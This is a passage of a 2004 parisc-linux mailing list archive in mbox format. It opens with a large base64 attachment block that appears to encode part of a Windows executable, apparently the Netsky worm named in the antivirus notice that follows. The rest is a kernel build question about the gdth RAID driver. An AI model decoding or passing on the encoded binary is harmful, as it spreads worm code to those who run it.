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
iQODwwTr2P+WpLUBAGHpx4j+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIA
AwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAA
AAAAAAAAAAABAAcEAABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
gAAAAMDDAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAMAAAADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAA
gAIAAAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8A
AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVV
VVVVVVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRS
UiIiI0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SI
iIiIiERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERE
RJlUUlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIi
IiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIi
IkSIiIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERE
RFJSIiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIj
RDRCZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQk
QkQkQkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIi
IiLgAAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AA
APRE95+fcAAA////eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERP
cAAA//////9wAAD//////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCU
AQAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEA
nMUBAAAAAAAAAAAAAAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAA
AAD7xQEAvMUBAAAAAAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAA
AAAAAAAAAAAAAAAAAAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAA
AAB0xgEAAAAAAAsAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5k
bGwAVVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdl
dFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1Bh
cmFtcwAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==


------=_NextPart_000_0001_00004109.0000345E--




From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 24 Mar 2004 06:59:23 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <070a01c41165$2808f020$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623298 7174 80.91.229.3 (22 Nov 2014 02:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Mar 23 22:59:41 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23F9A4891
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 22:59:41 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88205.dip0.t-ipconnect.de
	[217.232.130.5])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2O5xeo01189
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 06:59:40 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 24 Mar 2004 06:59:23 +0100
thread-index: AcQRZSgIOU0JMM23Qf6RiIaJdZlULQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 24 Mar 2004 05:59:23.0473 (UTC)
	FILETIME=[28101C10:01C41165]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 05:59:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21173

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/24/2004 6:59:22 AM
Engine/Pattern = 6.860-1001/1.833.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 10:31:20 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623298 7178 80.91.229.3 (22 Nov 2014 02:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:18 +0000 (UTC)
To: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: esproul@ntelos.net  Wed Mar 24 08:31:23 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr03.ntelos.net (mailrtr03.ntelos.net [216.12.0.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1BD84996
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 08:31:22 -0700 (MST)
Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr03.ntelos.net (8.11.7/8.11.7) with ESMTP id i2OFVLS30932
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 10:31:22 -0500
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 15:31:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21174

Hi all,
Forgive me if this is a FAQ.  I read the website FAQ and did a little
searching, but didn't turn up anything.  I am not a kernel hacker--
that's why I'm posting here.

I am running Debian sid on a 2-way L2000-44 (rp5450).  I have
successfully built a 64-bit, SMP 2.4.25 kernel using Debian's source
(I'd be happy to share my config if anyone is interested) and the
kernel-patch-2.4.25-hppa patch.

I want to use an Intel SRCU RAID controller in this machine, so I
modified my config to build the gdth driver into the kernel.  It fails
with an error about DMA_MODE_CASCADE being undeclared.  Looking further,
I note that this is normally declared in include/asm-$ARCH/dma.h, but it
doesn't appear in include/asm-parisc/dma.h.  Is it undeclared because it
doesn't work or because no one has needed it before?  Below is the build
output.

Would I be better off with a 2.6 kernel?  I have not yet attempted to
build any 2.6 kernels on this machine.  I took the lack of stock 2.6
kernels for hppa in sid to mean that there was a problem, but I'd love
to be wrong about that.  ;)

Thanks,
Eric

$ uname -a
Linux parisc 2.4.25-64-smp #1 SMP Mon Mar 22 10:09:38 EST 2004 parisc64
GNU/Linux

gcc-3.3-hppa64 3.3.3-2
binutils-hppa64 2.14.90.0.7-5


hppa64-linux-gcc -D__KERNEL__ -I/usr/src/kernel-source-2.4.25/include
-Wall -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing
-fno-common -O2 -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0
-mschedule=8000   -nostdinc -I
/usr/lib/gcc-lib/hppa64-linux/3.3.3/include -DKBUILD_BASENAME=gdth  -c
-o gdth.o gdth.c
gdth.c: In function `gdth_init_isa':
gdth.c:1135: warning: passing arg 1 of `memset_io' makes integer from pointer without a cast
gdth.c: In function `gdth_init_pci':
gdth.c:1292: warning: passing arg 1 of `memset_io' makes integer from pointer without a cast
gdth.c:1405: warning: passing arg 1 of `memset_io' makes integer from pointer without a cast
gdth.c:1560: warning: passing arg 1 of `memset_io' makes integer from pointer without a cast
gdth.c: In function `gdth_copy_command':
gdth.c:1792: warning: passing arg 1 of `memcpy_toio' makes integer from pointer without a cast
gdth.c:1799: warning: passing arg 1 of `memcpy_toio' makes integer from pointer without a cast
gdth.c:1806: warning: passing arg 1 of `memcpy_toio' makes integer from pointer without a cast
gdth.c:1813: warning: passing arg 1 of `memcpy_toio' makes integer from pointer without a cast
gdth.c: In function `gdth_detect':
gdth.c:4066: error: `DMA_MODE_CASCADE' undeclared (first use in this function)
gdth.c:4066: error: (Each undeclared identifier is reported only once
gdth.c:4066: error: for each function it appears in.)
make[4]: *** [gdth.o] Error 1
make[4]: Leaving directory `/usr/src/kernel-source-2.4.25/drivers/scsi'
make[3]: *** [first_rule] Error 2
make[3]: Leaving directory `/usr/src/kernel-source-2.4.25/drivers/scsi'
make[2]: *** [_subdir_scsi] Error 2
make[2]: Leaving directory `/usr/src/kernel-source-2.4.25/drivers'
make[1]: *** [_dir_drivers] Error 2
make[1]: Leaving directory `/usr/src/kernel-source-2.4.25'
make: *** [stamp-build] Error 2



From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
